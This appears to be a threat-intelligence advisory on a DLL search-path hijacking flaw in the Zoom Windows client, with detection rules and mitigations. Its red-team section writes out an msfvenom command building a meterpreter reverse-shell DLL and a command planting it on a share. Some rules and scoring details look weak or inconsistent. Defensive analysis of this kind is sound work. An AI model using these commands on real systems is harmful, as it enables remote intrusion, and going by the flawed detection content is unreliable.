CVE-2025-49457

Executive Summary

CVE-2025-49457 is a critical untrusted search path vulnerability affecting Zoom Clients for Windows. The flaw allows an unauthenticated attacker to escalate privileges via network access by placing a malicious DLL or executable in a directory that the Zoom client searches before the intended system directory. With a CVSS score of 9.6, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, but the attack vector is well-understood in the Windows ecosystem.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.6 (Critical)
• Attack Vector: Network (AV:N) – The attacker can trigger the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – The victim does not need to click anything.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Attacker can cause denial of service.

Threat Level: Critical. The combination of network attack vector, no privileges required, and high impact makes this a top-priority vulnerability for patching and monitoring.

Deep Dive & Mechanics

The vulnerability is a classic untrusted search path (CWE-426) in the Zoom client for Windows. When the Zoom client loads a DLL or executable, it searches a set of directories in a specific order. If an attacker can place a malicious file in a directory that appears earlier in the search order than the legitimate system directory, the Zoom client will load the attacker's file instead.

Attack Scenario:

1. An attacker gains network access to a system (e.g., via a compromised network share, a malicious file server, or a man-in-the-middle position).
2. The attacker places a malicious DLL (e.g., version.dll, dbghelp.dll, or a custom named DLL) in a directory that the Zoom client searches before the system directory (e.g., the current working directory, a network share, or a user-writable path).
3. When the Zoom client starts or performs an update, it loads the malicious DLL, executing arbitrary code with the privileges of the Zoom process (typically the user's privileges, but potentially SYSTEM if the Zoom client runs as a service or with elevated privileges).
4. The attacker gains code execution and can escalate privileges, install malware, or exfiltrate data.

Key Factors:

• The vulnerability is triggered via network access, meaning the attacker does not need local access.
• The Zoom client's search path is not properly restricted, allowing untrusted directories to be searched.
• The attack does not require user interaction beyond the normal operation of the Zoom client.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: Uses default search order
HMODULE hModule = LoadLibrary("helper.dll");
// The system searches: current directory -> system directory -> PATH
// If attacker places helper.dll in current directory, it loads first.

Patched Code (Expected):

// Patched: Uses absolute path or safe search order
HMODULE hModule = LoadLibraryEx("C:\\Program Files\\Zoom\\bin\\helper.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_SEARCH_APPLICATION_DIR);
// This restricts loading to system32 and the application's own directory.

Key Differences:

• The patched version uses LoadLibraryEx with specific flags to restrict the search path.
• The patched version uses absolute paths to avoid ambiguity.
• The patched version does not search the current working directory or network shares.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Windows system with Zoom client installed.
• Network access to the target (e.g., via a compromised network share or a man-in-the-middle position).
• Ability to write a file to a directory that the Zoom client searches (e.g., a network share mapped to a drive letter, or a user-writable directory).

Exploitation Steps:

1. Identify the vulnerable DLL: Determine which DLL the Zoom client loads from an untrusted path. Common candidates include version.dll, dbghelp.dll, or custom DLLs.
2. Create a malicious DLL: Use a tool like msfvenom to generate a DLL that executes a reverse shell or adds a user.

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

3. Place the DLL: Copy the malicious DLL to a network share or directory that the Zoom client will search.

   copy malicious.dll \\target\share\version.dll
   

4. Trigger the vulnerability: Wait for the Zoom client to start or perform an update. The client will load the malicious DLL.
5. Receive the shell: The attacker's listener will receive a reverse shell with the privileges of the Zoom process.

Alternative Attack Vector:

• If the Zoom client runs as a service with SYSTEM privileges, the attacker can escalate to SYSTEM immediately.
• If the attacker can perform a man-in-the-middle attack on the Zoom update process, they can replace the update file with a malicious one.

Blue Team (Detection & Defense)

Detection Steps:

1. Monitor DLL loading: Use Sysmon or Windows Event Logging to monitor for suspicious DLL loads.
   • Event ID 7 (Sysmon): DLL loaded from a network share or user-writable directory.
   • Event ID 4688 (Windows): Process creation with unusual DLL load paths.
2. Check for untrusted search paths: Use Process Monitor to identify which directories the Zoom client searches.
3. Analyze network traffic: Look for unusual outbound connections from the Zoom process (e.g., to non-standard ports).
4. Review file system changes: Monitor for new DLL files in network shares or user directories.

Defense Steps:

1. Apply the patch: Once available, update Zoom to the patched version.
2. Restrict network shares: Disable unnecessary network shares and enforce least privilege.
3. Enable Safe DLL Search Mode: Set the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1.
4. Use AppLocker or WDAC: Restrict which DLLs can be loaded by the Zoom client.
5. Monitor for known IOCs: Use the IOCs listed below.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_49457_Zoom_Untrusted_Search_Path {
    meta:
        description = "Detects malicious DLLs used in CVE-2025-49457 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49457"
    strings:
        $s1 = "version.dll" nocase
        $s2 = "dbghelp.dll" nocase
        $s3 = "Zoom.exe" nocase
        $s4 = "LoadLibrary" nocase
    condition:
        ($s1 or $s2) and $s3 and $s4
}

Sigma Rule

title: CVE-2025-49457 - Zoom Untrusted Search Path Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious DLL loads by Zoom.exe from network shares or user-writable directories
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49457
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\Zoom.exe'
        ImageLoaded|contains:
            - '\\'
            - 'C:\Users\'
            - 'C:\Temp\'
    condition: selection
falsepositives:
    - Legitimate Zoom updates from network shares (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-49457 - Zoom Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable network shares that are not strictly necessary.
2. Enable Safe DLL Search Mode via Group Policy or registry.
3. Monitor Zoom client behavior for unusual DLL loads.
4. Restrict user permissions to prevent writing to directories searched by Zoom.

Long-Term Fix:

• Apply the official patch from Zoom as soon as it is released.
• Update Zoom to the latest version.
• Implement application whitelisting (AppLocker or WDAC) to block unauthorized DLLs.

Workarounds:

• Run Zoom in a sandboxed environment (e.g., Windows Sandbox, AppContainer).
• Use a firewall to block outbound connections from Zoom to unknown IPs.
• Regularly audit DLL load events using Sysmon.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert